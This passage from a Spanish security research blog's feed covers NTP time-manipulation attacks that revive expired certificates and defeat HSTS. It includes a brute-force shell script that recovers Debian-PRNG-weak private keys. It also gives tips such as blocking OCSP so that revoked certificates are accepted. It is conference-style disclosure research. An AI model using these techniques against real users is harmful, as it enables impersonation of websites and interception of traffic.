Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-pki.html&quot; target=&quot;_blank&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/a&gt;&lt;/div&gt;[7] Otros ataques&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;Descargo de responsabilidad: Toda la información se ha obtenido de una  forma empirica, realizando pruebas, y en un periodo de tiempo concreto,  con lo que puede haber cambiado en el momento de leer este artículo.&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Descargo de responsabilidad (2): En este artículo hablo de certificados, claves SSL, etc. En ocasiones diré cosas como &quot;la clave privada del certificado&quot;, ya que es la manera en la que normalmente me expreso, aunque probablemente no sea el término más correcto. Debería decir cosas como &quot;la clave privada de la clave pública del certificado&quot;, pero creo que resulta más sencillo de entender si lo simplifico un poco. En cualquier caso, si algo no se entiende bien solo tenéis que mandarme un correo o dejar un comentario e intentaré aclararlo.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;De los ataques en los que he estado trabajando desde que empecé con esta investigación, el ataque contra PKI es mi favorito. Es algo que me vino a la cabeza cuando me paré a pensar que más servicios o protocols podrían funcionar mal si conseguía manipular el reloj de un equipo.&lt;br /&gt;&lt;br /&gt;Como probablemente sepáis, un certificado SSL es válido bajo las siguientes condiciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ha sido firmado por una entidad de certificación de confianza (CA) o por una CA intermedia que a su vez a sido firmada por una CA de confianza.&lt;/li&gt;&lt;li&gt;El &quot;Common name&quot; del certificado coincide con el hostname del servidor (los comodines están permitidos).&lt;/li&gt;&lt;li&gt;&lt;b&gt;La fecha actual está entre las fechas &quot;Not valid before&quot; y &quot;Not valid after&quot;.&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Cuando un certificado SSL expire necesitamos uno nuevo, y del viejo normalmente nos olvidamos, ya que éste sería inválido (3er caso). Sin embargo, con Delorean esto no es completamente cierto, ya que podemos manipular la hora del reloj y hacer que el equipo crea que el certificado viejo aún es válido.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-iHZMAE8pw_E/Vjm7F8-tgFI/AAAAAAAACFo/EqjGxt1Kd9Y/s1600/certchain.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;227&quot; src=&quot;http://1.bp.blogspot.com/-iHZMAE8pw_E/Vjm7F8-tgFI/AAAAAAAACFo/EqjGxt1Kd9Y/s400/certchain.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Para poder usar un certificado de esta manera, necesitamos que éste cumpla una serie de condiciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;u&gt;Tenemos que reconstruir la antigua cadena de certificados&lt;/u&gt;: Esto no es un problema, ya que los certificados de las CAs normalmente tiene periodos de valicez muy largos, así que probablemente la cadena de certificados actual también funcionará con el certificado antiguo. Sino, es fácil encontrar los certificados buscando el &quot;Issuer name&quot; del certificado en Internet.&lt;/li&gt;&lt;li&gt;&lt;u&gt;La root CA&lt;/u&gt; (la que empieza una cadena de certificados) &lt;u&gt;tiene que ser ua CA de confianza para el sistema operativo/navegador&lt;/u&gt;: Si la root CA expira y se elimina de la base de datos del navegador, éste no será capaz de validad la cadena de certificados. Este problema solo ocurre con la root CA, que es la que debe estar instalada en el navegador. Cualquier otra CA intermedia se pude usar a pesar de que se encuentre expirada.&lt;/li&gt;&lt;li&gt;&lt;u&gt;Tenemos que encontrar certificados viejos de hosts&lt;/u&gt;: Esto es más difícil de lo que parece. Lo veremos un poco más abajo.&lt;/li&gt;&lt;li&gt;&lt;u&gt;Tenemos que poder obtener la clave privada deel certificado de host&lt;/u&gt;: Esta es la única clave privada que necesitamos obtener. Al ser un certificado viejo, su clave debería ser más fácil de obtener que en un certificado actual. Hablaremos de esto más adelante también.&lt;/li&gt;&lt;/ul&gt;Pero... ¿De donde sacamos estos certificados viejos? Si hace 10 años lo hubira sabido, hubiera hecho un crawling de Internet y me hubiera guardado los certificados SSL, pero como no lo hice... necesitamos tirar de alguna base de datos pública, cuanto más vieja mejor. Invertí mucho tiempo buscandola, y lo mejor que encontré fue &lt;a href=&quot;https://www.eff.org/observatory&quot; target=&quot;_blank&quot;&gt;The SSL Observatory&lt;/a&gt; de &lt;a href=&quot;https://www.eff.org/&quot; target=&quot;_blank&quot;&gt;EFF&lt;/a&gt;, que cuentan con una base de datos de certificados SSL de 2010.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-OWLjIiay5TQ/Vjm7O1aiDcI/AAAAAAAACFw/iy3HVVwxXW8/s1600/observatory.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://4.bp.blogspot.com/-OWLjIiay5TQ/Vjm7O1aiDcI/AAAAAAAACFw/iy3HVVwxXW8/s400/observatory.png&quot; width=&quot;342&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Ahora que ya tenemos una base de datos de certificados SSL viejos, podemos empezar a buscar a ver cuales de ellos tienen pinta de que los vamos a poder romper. Por ejemplo, algo que me vino a la cabeza fue &lt;a href=&quot;https://freakattack.com/&quot; target=&quot;_blank&quot;&gt;FREAK&lt;/a&gt;. Como parte de est ataque, los investigadores crackeron un RSA-512 en unas pocas horas, usando un cluster de máquinas en Amazon EC2, así que no vi porque no podríamos hacr nosotros algo similar con las claves RSA-512 presentes en nuestra base de datos.&lt;br /&gt;&lt;br /&gt;Desafortunadamente, los objtivos más importantes (Google, Facebook, etc) ya no usaban RSA-512 en 2010. Quizá si tuvieramos una base de datos más antigua... En cualquier caso, encontré algunos certificados interesantes y algunos bastante divertidos, como por ejemplo una página de Disney (no la página principal).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Descargo de responsabilidad&lt;/u&gt; (3): Cuando hago una demo con Deloran y uso una página web, &lt;u&gt;&lt;b&gt;NO&lt;/b&gt;&lt;/u&gt; estoy atacando esa página. La página &lt;u&gt;&lt;b&gt;NO&lt;/b&gt;&lt;/u&gt; es vulnerable. Estoy atacando un clinte vulnerable, que es mi propia máquina de pruebas, así que me estoy atacando a mi mismo, no a la página web.&lt;br /&gt;&lt;br /&gt;No voy a contar paso por paso como crackear un RSA-512 porque sería un artículo (o varios) en si mismo, y porque tampoco es un tema en el que yo sea un experto. Si tenéis interés, os dejo algunos enlaces &lt;a href=&quot;https://github.com/tomrittervg/cloud-and-control/blob/master/gnfs-info/factoring-howto.txt&quot; target=&quot;_blank&quot;&gt;[1]&lt;/a&gt;&lt;a href=&quot;https://www.cis.upenn.edu/~nadiah/projects/faas/&quot; target=&quot;_blank&quot;&gt;[2]&lt;/a&gt;&lt;a href=&quot;http://cado-nfs.gforge.inria.fr/&quot; target=&quot;_blank&quot;&gt;[3]&lt;/a&gt;&lt;a href=&quot;http://gilchrist.ca/jeff/factoring/nfs_beginners_guide.html&quot; target=&quot;_blank&quot;&gt;[4]&lt;/a&gt;. Resumiento, tuve 4 máquinas en EC2 corriendo durante 3 días (si no recuerdo mal) y al final costó al rededor de $150 en total.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-Gvj7f2R7d4k/Vjm7X3nYbpI/AAAAAAAACF4/oJqNprRPM30/s1600/cracked.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;208&quot; src=&quot;http://2.bp.blogspot.com/-Gvj7f2R7d4k/Vjm7X3nYbpI/AAAAAAAACF4/oJqNprRPM30/s400/cracked.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Una vez que has factorizado la clave tienes los dos números primos que se usaron para generar las claves pública y privada, así que solo necesitas generarlas de nuevo (&lt;a href=&quot;http://www.loyalty.org/~schoen/rsa/private-from-pq.c&quot; target=&quot;_blank&quot;&gt;private-from-pq.c&lt;/a&gt;) para obtener la clave privada, y ver si funciona:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/GOYlAs2w7S4&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;¡Funciona! La cadena de certificados es válida y tenemos la clave privada, así que podemos engañar al navegador e impersonar la página ¡Genial!&lt;br /&gt;&lt;br /&gt;Por lo que he podido leer (no soy un experto), los Gobiernos y otros organismos con suficientes recursos podrían crackear RSA-1024 en un tiempo razonable. Ésto es aún más interesante que mi demo, porque RSA-512 en estos momentos está baneado en la mayoría de navegadores, así que estos rechazarían la cadena de certificados, aunque ésta sea válida. Hice esta demo usando un RSA-512 porque en este momento yo no dispongo de la capacidad computacional para crackear RSA-1024, y porque el proceso es exactamente el mismo, con lo que podríamos hacer lo mismo con un RSA-1014 en un navegador completamente actualizado si dispusieramos de esta potencia.&lt;br /&gt;&lt;br /&gt;Ésta no es la única debilidad que podemos usar:n use:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://pastebin.com/ff7Yg663&quot; target=&quot;_blank&quot;&gt;Claves hackeadas &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://heartbleed.com/&quot; target=&quot;_blank&quot;&gt;Claves extraidas con Heartbleed&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Firma de certificados débil (consultar &quot;&lt;a href=&quot;http://www.win.tue.nl/hashclash/rogue-ca/&quot; target=&quot;_blank&quot;&gt;MD5 considered harmful today&lt;/a&gt;&quot;)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/g0tmi1k/debian-ssh&quot; target=&quot;_blank&quot;&gt;Claves generadas con el bug de Debian PRNG&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Muchas más...&lt;/li&gt;&lt;/ul&gt;Pero hay algo que probablemente estaréis pensando ¿Qué pasa con la revocación? No sería un problema para claves crackeadas, porque nunca fueron revocadas, pero los certificados robados, obtenidos con heartbled, afectados por le bug de debian prng, ... todos esos certificados deberían haber sido revocados cuando se generaron los nuvos. &lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-nKV22C1Jayc/Vjm7fv-OCgI/AAAAAAAACGE/ttLOuKmUk6o/s1600/revokation.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;242&quot; src=&quot;http://4.bp.blogspot.com/-nKV22C1Jayc/Vjm7fv-OCgI/AAAAAAAACGE/ttLOuKmUk6o/s400/revokation.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Una lista de revocación de certificados (CRL) es una base de datos donde se guardan los certificados que han sido revocados. Los navegadores se la descargan (o la consultan online) y comprueban si el certificado que les proporciona un servicio ha sido revocado o no. Si lo está, entonces rechazan la comunicación aunque la cadena de certificados sea válida..&lt;br /&gt;&lt;br /&gt;Cuando me encontré con este problema, la pregunta que vino a mi cabeza fue: ¿Esas CRLs guardan TODOS los certificados revocados? ¿Desde el principio de los tiempos? Eso haría que el fichero fuera ENORME, lo cual podría afectar al rendimiento. Bien, no puedo estar 100% seguro de esto, pero hice unas rápidas pruebas para ver si las CAs purgan sus CRLs cuando los certificados revocados caducan.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-PVDznSnN1F8/Vjm7lziny1I/AAAAAAAACGM/6RR6LX4lHk8/s1600/cas.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;218&quot; src=&quot;http://2.bp.blogspot.com/-PVDznSnN1F8/Vjm7lziny1I/AAAAAAAACGM/6RR6LX4lHk8/s400/cas.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Me centré en una prueba muy sencilla. Abri varias páginas muy conocidas con mi navegador y me bajé el certificado de la CA que lo firmaba. También me bajé la CRL que estaba referenciada en dicho certificado y busqué grandes diferencias entre la fecha de creación de la CA y la fecha de revocación más antigua de la CRL. Por ejemplo, si una CA fue creada en 2008, pero el primer certificado que se revocó fue en 2012, y el siguiente en 2014... es un poco extraño. Mi humilde opinión es que estas CAs están purgando los certificados expirados porque éstos son inválidos en cualquier caso, estén revocados o no. Esto es 100% cierto, pero nos permite utilizar nuestro ataque contra estos certificados, aunque debieran estar revocados.&lt;br /&gt;&lt;br /&gt;OCSP no resulta muy útil contra estos ataques, ya que la mayoría de los navegadores están configurados para aceptar los certificados cuando no pueden validar si están revocados o no, con lo que un atacante únicamente tiene que bloquear las conexiones contra OCSP para que sus certificados revocados sean aceptados. Más informacion &lt;a href=&quot;https://www.grc.com/revocation/implementations.htm&quot; target=&quot;_blank&quot;&gt;AQUÍ&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;De la lista de antes, me decidí a buscar certificados generados con el bug de Debian PRNG. El problema era que ésto ocurrió en 2008, mientras que la base de datos de la que disponemos era 2010, así que todas las páginas web interesantes habían cambiado ya su certificado antes de 2010.&lt;br /&gt;&lt;br /&gt;Buscando por Internet encontré &lt;a href=&quot;http://codefromthe70s.org/sslblacklist.aspx&quot; target=&quot;_blank&quot;&gt;CodeFromThe70s&lt;/a&gt;. Esta gente desarrolló un plugin para Firefox que detectaba los certificados vulnerables y se los enviaba. Ellos mantenían una blacklist genial en su página que nos podémos descargar y usar para ver si aún estarán revocados o no.&lt;br /&gt;&lt;br /&gt;El siguiente paso fue obtener la clave privada. No fue tan fácil como pensaba, porque las listas pre-generadas que publicó HD Moore eran para SSH, así que tuve que generarme las mias propias para HTTPS. Lo que hice fue usar el &quot;getpid.so&quot; parcheado original y el entorno &quot;ubunturoot&quot; (el enlace original está roto, así que yo &lt;a href=&quot;https://github.com/g0tmi1k/debian-ssh&quot; target=&quot;_blank&quot;&gt;me lo bajé de aquí&lt;/a&gt;), y desarrollé un par de scripts en shell para generar todas las posibles claves SSL y comprobar si era la que estaba buscando:&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;i&gt;$ &lt;b&gt;cat keyfind.sh &lt;/b&gt;&lt;br /&gt;#!/bin/bash&lt;/i&gt;&lt;br /&gt;&lt;i&gt;TARGET=0123456789abcdef0123456789abcdef&lt;br /&gt;&lt;br /&gt;for PID in `seq 1 32768`&lt;br /&gt;do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; chroot . /generate.sh $PID &amp;amp;&amp;gt;/dev/null&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; openssl rsa -in private.pem -noout -modulus | openssl md5 | awk &#39;{print $2}&#39; | grep &quot;$TARGET&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if [ $? -eq 0 ]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cp private.pem found.pem&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo &quot;FOUND!&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -f private.pem&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo $PID&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;done&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;i&gt;$ &lt;b&gt;generate.sh&lt;/b&gt; &lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;export MAGICPID=$1&lt;br /&gt;export LD_PRELOAD=/getpid.so&lt;br /&gt;/usr/bin/openssl genrsa -out private.pem 1024 &amp;amp;&amp;gt;/dev/null&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;En unas pocas horas tenía la clav privada. Quizá hubiera sido más eficiente de otro modo, pero funcionó al fin y al cabo. Veamos la demo:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/QgLy6J_yNAQ&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;Mi charla de DEF CON ( 7 de Agosto de 2015) está online, así que también le podéis pegar un ojo. También presenté la charla en Español en RootedCON (Marzo 2015) y NavajaNegra/ConectaCON (Octubre 2015),pero los videos aún no han sido publicados:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;/center&gt;&lt;center&gt;&lt;/center&gt;&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/hkw9tFnJk8k&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2015/11/ntp-pki.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-iHZMAE8pw_E/Vjm7F8-tgFI/AAAAAAAACFo/EqjGxt1Kd9Y/s72-c/certchain.png" height="72" width="72"/><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3656877967465128435</guid><pubDate>Mon, 02 Nov 2015 15:00:00 +0000</pubDate><atom:updated>2015-11-02T16:00:05.950+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">BlackHat</category><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">MitM</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><title>Atacando HTTP Strict Transport Security</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Pégale un vistazo a otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/div&gt;[7] Otros ataques&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;Descargo de responsabilidad: Toda la información se ha obtenido de una  forma empirica, realizando pruebas, y en un periodo de tiempo concreto,  con lo que puede haber cambiado en el momento de leer este artículo.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;En los últimos artículos hemos visto como funciona la sincronización de hora en diferentes sistemas operativos, y como podríamos cambiar eel reloj interno usando Delorean en cada uno de ellos. Sin embargo, aún no hemos hablado de ningún ataque practico que podamos realizar alerando dicho reloj.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Esta investigación la empecé después de haber estado intentando hacer una demo de MitM usando &lt;a href=&quot;http://www.thoughtcrime.org/software/sslstrip/&quot; target=&quot;_blank&quot;&gt;SSLStrip&lt;/a&gt;. A pesar de que había hecho demos similares mil veces, no conseguí que me funcionara cuando intentaba visitar GMail y otras webs similares. Cuando analicé el problema, descubrí la existencia de una cabecera &quot;&lt;a href=&quot;https://www.owasp.org/index.php/HTTP_Strict_Transport_Security&quot; target=&quot;_blank&quot;&gt;Strict-Transport-Security&lt;/a&gt;&quot; que nunca había visto antes.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-_HCR5rFdGe0/VjW2sfWZoWI/AAAAAAAACDs/0d5AdQXkZIM/s1600/hsts.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;236&quot; src=&quot;http://2.bp.blogspot.com/-_HCR5rFdGe0/VjW2sfWZoWI/AAAAAAAACDs/0d5AdQXkZIM/s400/hsts.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;HTTP Strict Transport Security (alias HSTS) es un mecanismos de seguridad que fue publicado en 2012 y que, a pesar de que aún no está siendo usando masivamente en Internet, sí que es utilizado por los principales proveedores de servicios. La parte servidor es muy sencilla, ya que únicamente es necesario enviar la cabecera HTTP &quot;Strict-Transport-Security&quot; para aplicar la política deseada usando los parámetros &quot;max-age&quot; e &quot;includeSubdomains&quot;. En el ejemplo de arriba, el servidor web está configurando una política que dice &quot;¡ey! No importa lo que pase, pero por favor conecta conmigo siempre usando HTTPS durante los próximos 3153600 segundos&quot;.&lt;br /&gt;&lt;br /&gt;La parte más complicada de HSTS recae en el lado del navegador. Un navegador necesita leer la cabecera y tomar las acciones necesarias para asegurarse que se cumple la política. &lt;a href=&quot;http://caniuse.com/#feat=stricttransportsecurity&quot; target=&quot;_blank&quot;&gt;La mayoría de navegadores soportan HSTS&lt;/a&gt; en la actualidad, aunque IE no lo ha soportado hasta el 9 de Junio de este año. Mientras estaba hablando en DEF CON (Agosto 2015), un asistente me corrijió cuando dije que &quot;IE no soporta HSTS&quot;, lo cual era cierto en aquel momento. Le pregunté si era algo reciente y me dijo que hacía 6 meses de aquello, aunque la documentación que he podido encontrar no habla de esas fechas. En cualquier caso, en este momento IE sí que soporta HSTS.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-VtoBIJeGyOY/VjW2xPW7MHI/AAAAAAAACD0/-LPosJtPJiQ/s1600/caniuse.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;168&quot; src=&quot;http://1.bp.blogspot.com/-VtoBIJeGyOY/VjW2xPW7MHI/AAAAAAAACD0/-LPosJtPJiQ/s400/caniuse.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Además, Google y Mozilla crearon una lista precargada de HSTS en sus navegadores (idea posteriormente utilizada también en otros navegadores). Una lista precargada es una lista de proveedores conocidos (google, twitter, facebook, paypal, etc) para los que el uso de HSTS &quot;está forzado&quot;. El objetivo de esta lista precargada es evitar que un atacante aproveche los momentos siguientes a la instalación del navegador o a la limpieza de las cachés, o cuando se visita una página por primera vez, antes de que se configure ninguna política.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/--_8XpjYxMr8/VjW23hoYfbI/AAAAAAAACD8/d-YyJOQOlsg/s1600/preloaded.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;http://3.bp.blogspot.com/--_8XpjYxMr8/VjW23hoYfbI/AAAAAAAACD8/d-YyJOQOlsg/s400/preloaded.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;Aunque la información que podemos encontrar desde &lt;a href=&quot;https://www.chromium.org/hsts&quot; target=&quot;_blank&quot;&gt;Google&lt;/a&gt; y &lt;a href=&quot;https://blog.mozilla.org/security/2012/11/01/preloading-hsts/&quot; target=&quot;_blank&quot;&gt;Mozilla&lt;/a&gt; parece que hablan de la lista precargada como si fuera una lista estática, lo cierto es que las entradas precargadas son tratadas exactamente igual que las entradas dinámicas. Cuando un navegador es instalado y so caché es limpiada, todas las entradas de esta lista son añadudas como entradas dinámicas usando un valor por defecto (10 semanas) y son actualizadas del mismo modo que cualquier entrada dinámica, por lo que no representa un problema a la hora de utilizar Delorean.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-icUWl92k-1M/VjW29qiicOI/AAAAAAAACEE/xtdV7zNpfnE/s1600/chrome.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;http://3.bp.blogspot.com/-icUWl92k-1M/VjW29qiicOI/AAAAAAAACEE/xtdV7zNpfnE/s400/chrome.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;El único navegador de los que estuve analizando que funcionaba de una forma diferente fue Apple Safari, que guarda la lista precargada en un fichero .plist y fuerza siempre que esos hosts se visiten por HTTPS, indepientement de la fecha del equipo. &lt;br /&gt;&lt;br /&gt;Como sabemos que la política de HSTS nos va a impedir interceptar la primera conexión HTTP y, como consecuencia, a user SSLStrip (o interceptar la comunicación de otro modo) durante la cantidad de segundos especificada como &quot;max-age&quot;, nuestro ataque contra HSTS consiste en actualizar la hora local de tal forma que forcemos la expiración de la caché de HSTS. Cuando no hay entradas en la caché de HSTS, el navegador se comporta de la forma habitual, con lo que al teclear nombres de hosts como &quot;mail.google.com&quot; se conectará usando HTTP antes de ser redirigido a HTTPS. &lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/_uWxZvJeJhY&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;Este fue el principal ataque que enseñe en la BlackHat Europe del año pasado, que ya fue publicada hace unos meses, así que podéis pegar un vistazo, pero no vale burlarse de mi Inglés ;)&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/eLhb4jZuv6M&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2015/11/ntp-hsts.html</link><author>noreply@blogger.com (Jose 